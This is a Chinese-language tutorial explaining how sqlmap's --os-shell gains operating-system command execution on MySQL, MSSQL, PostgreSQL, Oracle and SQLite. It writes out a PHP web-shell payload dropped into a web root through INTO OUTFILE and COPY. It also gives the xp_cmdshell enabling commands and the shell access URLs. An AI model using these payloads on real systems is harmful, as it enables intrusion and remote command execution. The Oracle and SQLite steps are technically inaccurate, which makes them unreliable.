sqlmap --os-shell的原理(MySQL,MSSQL,PostgreSQL,Oracle,SQLite)

1. MySQL

条件
  • 数据库用户需要具备高权限(如 FILE 权限)。
  • 数据库服务运行用户需要对目标目录有写权限。
  • Web 服务器有可写目录,且支持执行上传的脚本(如 PHP、JSP 等)。
原理
  • 利用 MySQL 的 SELECT ... INTO OUTFILE 功能,将恶意代码写入目标 Web 目录,生成一个 Web Shell 文件。
  • 攻击者通过浏览器访问 Web Shell,获得命令执行能力。
流程
  1. 确认 FILE 权限:

    sql 复制代码
    SELECT * FROM mysql.user WHERE User='target_user';
  2. 写入 Web Shell 到目标目录:

    sql 复制代码
    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
  3. 通过浏览器访问 Web Shell 执行命令:

    bash 复制代码
    http://xxxxxx.com/shell.php?cmd=whoami

2. Microsoft SQL Server (MSSQL)

条件
  • 数据库用户需要 sysadmin 权限。
  • 目标服务器启用了扩展存储过程 xp_cmdshell。
  • 数据库运行用户有命令执行权限。
原理
  • 调用 MSSQL 的 xp_cmdshell 存储过程,直接在操作系统中执行命令。
流程
  1. 确认是否启用了 xp_cmdshell:

    sql 复制代码
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
  2. 利用 xp_cmdshell 执行命令:

    sql 复制代码
    EXEC xp_cmdshell 'whoami';
  3. 通过命令的输出或回显获取执行结果。


3. PostgreSQL

条件
  • 数据库用户需要对文件系统具有写权限。
  • 数据库支持使用 COPY 命令将数据写入文件。
  • 目标 Web 目录可写入文件,并允许脚本执行。
原理
  • 利用 PostgreSQL 的 COPY 功能,将 Web Shell 写入目标文件系统。
流程
  1. 写入 Web Shell:

    sql 复制代码
    COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
  2. 访问 Web Shell: http://xxxxx.com/shell.php?cmd=id


4. Oracle

条件
  • 数据库用户需要 CREATE LIBRARY 权限。
  • 数据库运行用户需要访问操作系统。
  • 利用外部过程或 Java 存储过程。
原理
  • 通过 Oracle 数据库的外部过程,调用操作系统命令。
  • 使用 Java 存储过程执行系统级操作。
流程
  1. 创建外部库(如 DLL 文件):

    sql 复制代码
    CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
  2. 调用外部过程执行命令:

    sql 复制代码
    DECLARE
        cmd VARCHAR2(1000);
    BEGIN
        cmd := 'ls';
        DBMS_SCHEDULER.CREATE_JOB(cmd);
    END;
  3. 读取命令执行结果。


5. SQLite

条件
  • SQLite 本身无法直接与操作系统交互。
  • 必须结合其他漏洞(如本地文件包含)实现 Web Shell。
原理
  • 利用 SQLite 的 ATTACH 或其他功能,尝试将恶意数据写入特定目录。
流程
  1. 写入数据:

    sql 复制代码
    ATTACH DATABASE '/var/www/html/shell.php' AS shell;
  2. 在 Web 服务器中访问生成的 Web Shell 文件。


总结表

数据库 条件 原理 流程简述
MySQL FILE 权限,Web 目录可写 写入 Web Shell 通过 SELECT ... INTO OUTFILE 写 Shell -> 访问 Shell -> 执行命令
MSSQL sysadmin 权限,启用 xp_cmdshell 使用 xp_cmdshell 直接执行系统命令 开启 xp_cmdshell -> 执行命令
PostgreSQL 写权限,Web 目录可访问 使用 COPY 写入 Web Shell 写 Shell -> 访问 Shell -> 执行命令
Oracle CREATE LIBRARY 权限,系统访问权限 使用外部库或 Java 存储过程调用系统命令 配置库 -> 调用命令
SQLite 结合其他漏洞(如文件包含) 写入恶意数据文件,结合其他漏洞(如 LFI)访问 写 Shell -> 结合 LFI 执行
相关推荐
笃行3507 小时前
数据库性能优化的五处内核改造,KingbaseES 配了四件诊断工具
数据库
非优秀程序员9 小时前
第02章 杭电的英语老师与一台服务器|《互联网产品恩仇录》
数据库·node.js·代码规范
山东科恩光电10 小时前
安全触边在协作机器人工作站防碰撞防护中的安装方案与性能优化
安全
SelectDB13 小时前
SelectDB 是哪个公司的?是国产数据库吗?一篇讲清飞轮科技与 Apache Doris 的关系
数据库
这个DBA有点耶14 小时前
库内计算推理:一条SQL背后的算子融合,和外挂方案差了几次网络往返
数据库·人工智能·sql
这个DBA有点耶16 小时前
函数索引的“完全一致”有多苛刻:写法、字符集、类型,差一处就失效
数据库·mysql·代码规范
星恒随风16 小时前
MySQL 从零入门(三):表的约束详解
linux·服务器·数据库·笔记·mysql
Alluxio16 小时前
Alluxio + OCI:为 AI 工作负载实现亚毫秒访问延迟与可扩展吞吐
运维·数据库·人工智能·分布式·缓存·ai·语言模型
数据库急诊室_阿哲20 小时前
一次加索引建议的复核记录:从报告到签字
数据库·ai数据库
青瓦梦滋21 小时前
Redis主从复制
服务器·数据库·redis·缓存·bootstrap